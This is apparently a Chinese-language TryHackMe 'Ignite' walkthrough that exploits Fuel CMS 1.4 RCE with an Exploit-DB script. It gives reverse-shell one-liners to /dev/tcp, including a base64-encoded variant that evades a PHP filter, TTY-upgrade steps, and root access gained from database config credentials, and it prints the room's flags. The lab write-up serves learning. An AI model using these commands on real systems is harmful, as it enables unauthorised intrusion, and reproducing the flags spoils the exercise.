Ignite – TryHackMe

一、信息收集

  • 开启房间后给了我们一个ip地址,去访问看看

image-20250908105452231

  • 我们使用nmap对这个ip的端口进行扫描一下开开有什么开放的端口

image-20250908111348039

  • 这里只开放了一个80端口,访问这个网站介绍了一下是一个cms系统Fuel CMS 1.4 里面大致介绍了一下这个cms的安装指南,里面还管理员的后台地址http://10.10.149.22/fuel和账户密码

image-20250908105616566

  • 去后台管理看一下,在页面这里能进行文件上传

image-20250908111213594

二、漏洞利用

  • 现在知道这个cms版本我们使用searchsploit看看是否有这个版本的漏洞

searchsploit 用来在本地搜索 Exploit-DB 漏洞利用库
它可以帮你快速找到某个软件/服务/系统对应的已知漏洞和可利用代码(PoC/Exploit)。

image-20250908110901795

  • 先复制出来会在你当前目录生成

image-20250908111753138

  • 查看源码nano 47138.py

image-20250908111827819

  • 将里面的ip更新为要攻击的靶机的ip地址,脚本默认要通过 127.0.0.1:8080 代理发送请求(通常是用来抓 BurpSuite 的包),但是你地并没有开 Burp 监听所有这里要注释掉,注意千万不要把整行删掉,只是把 , proxies=proxy 去掉

image-20250908113231834

  • 执行我们的代码文件python2 47138.py

如果报错了显示print r.text[0:dup]
^
SyntaxError: Missing parentheses in call to ‘print’. Did you mean print(…)?
用python2运行就好了

image-20250908113346397

  • 确认目标机器有没有 Bash which bash

Bash 的作用

在 Linux 系统里:

  • 命令解释器:你输入的命令都要通过 Bash 翻译成操作系统能执行的动作。
  • 写脚本:可以写 .sh 文件,让一系列命令自动执行。
  • 交互式 shell:可以让你远程操作系统,就像坐在终端前一样。
  • 渗透测试常用工具:反弹 shell、执行系统命令、获取权限信息

image-20250908114054124

  • 接下来我们使用反弹shell生成器生成一个反弹命令shell,方便在 Kali 上操作目标机器
1
2
3
4
5
sh -i >& /dev/tcp/10.17.35.134/4444 0>&1

#10.17.35.134 是 Kali IP → 靶机会回连到 Kali
#4444 是你在 Kali 上开的监听端口
#bash -i 启动交互式 shell

https://forum.ywhack.com/reverse-shell/

image-20250908115029074

  • 在kali上启动监听端口

image-20250908120446497

  • 这里我在使用这条命令是时候报错了

报错信息:

1
preg_match(): Delimiter must not be alphanumeric or backslash
  • PHP 的 preg_match() 正则函数要求 正则模式的分隔符不能是字母或反斜杠
  • 你输入的命令被 Fuel CMS 的 过滤或包装成了 preg_match,导致命令中包含某些字符(比如 >&)后触发了错误。
  • 本质上,你的命令 sh -i >& /dev/tcp/10.17.35.134/4444 0>&1 被 PHP 当作字符串处理,不能直接执行。

这里采用绕过特殊字符使用 URL 编码或 base64 绕过 PHP 正则过滤

1
2
3
4
5
6
7
8

# 在 Kali 上把命令编码
echo "bash -i >& /dev/tcp/10.17.35.134/4444 0>&1" | base64

#然后在 Fuel CMS RCE 输入
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNy4zNS4xMzQvNDQ0NCAwPiYxCg==
}|{base64,-d}|bash

image-20250908122041570

image-20250908122026112

image-20250908122012156

  • 浏览到“/home/www-data”目录并获取到“User.txt”文件

image-20250908122333014

1
6470e394cbf6dab6a91682cc8585059b

三、TTY 升级

  • 我们这里使用sudo-l这里会报错sudo 默认要求 输入用户密码,当你在 反弹 shell 或 Web RCE shell 中执行 sudo 时,shell 没有连接到真实终端(没有 tty),系统无法提示你输入密码,所以 sudo 报错,提示没有 tty 也没有 askpass 程序。

image-20250908123124064

  • 我们现在要去升级 shell 并获取 tty 的命令,保证后续可以执行 sudo 或交互式命令

两种方法

方法1:分配伪终端

在 Kali 上开 nc 时:

1
nc -lvnp 4444

在拿到 shell 后,按 Ctrl+Z 暂停,然后在 Kali 终端:

1
2
stty raw -echo
fg

然后尝试:

1
sudo -l
  • 有些系统还要求加 -S-A 方式提供密码

方法2:升级 shell 到 fully interactive shell

  1. 拿到 python shell:
1
python -c 'import pty; pty.spawn("/bin/bash")'
  1. 然后 Ctrl+Z + stty raw -echo + fg
  2. 再执行 sudo

如果目标 www-data 用户 没有 sudo 权限,这条命令仍然会报错,这属于正常情况。

  • 我这里使用的第二种方法成功有密码提示了,但是我们没有密码先放着

image-20250908124703648

四、提权

  • 在信息收集的时候看到在**fuel/application/config/database.php**有数据库的用户名和密码,我们直接去这个文件里面看看

image-20250908125016079

  • 可以看到在这里显示了数据库的密码

image-20250908125235086

  • 现在获得密码后切换到root看看

image-20250908125329752

1
b9bbcb33e11b80be759c4e844862482d 

扩展

反弹 shell 其实是 从目标机器通过网络回连到你的 Kali,中间会经过几层限制。不同阶段的 shell,权限和功能不同:

阶段 特点 典型问题
Stage 1:非交互式 shell(raw shell) 直接通过 RCE 或反弹命令连回 - 无法使用上下箭头、tab 补全- Ctrl+C 无效- 回车显示 ^M
Stage 2:伪交互式 shell 通过 /bin/sh -ibash -i 升级 - 可以输入命令,部分交互可用- 还可能缺少 tty,部分工具无法用
Stage 3:Fully interactive shell (带 TTY) 使用 Python/pty.spawn 或 Ctrl+Z + stty raw - 完全像正常登录一样- 支持 sudo、编辑器、top 等交互工具

为什么要有“阶段升级”

  1. 最开始拿到的 shell通常是非常原始的
    • Fuel CMS RCE 或 web shell 执行命令时,系统不会自动分配 tty
    • 只能执行简单命令,例如 whoamiid
  2. 部分操作必须要交互式终端
    • 提权(sudo -l
    • 上传/下载文件
    • 使用交互式工具(nano, htop
  3. 升级 shell的方式
    • /bin/bash -i → bash interactive
    • python -c 'import pty; pty.spawn("/bin/bash")' → fully interactive, 带 tty
    • Ctrl+Z + stty raw -echo + fg → 在有 tty 时升级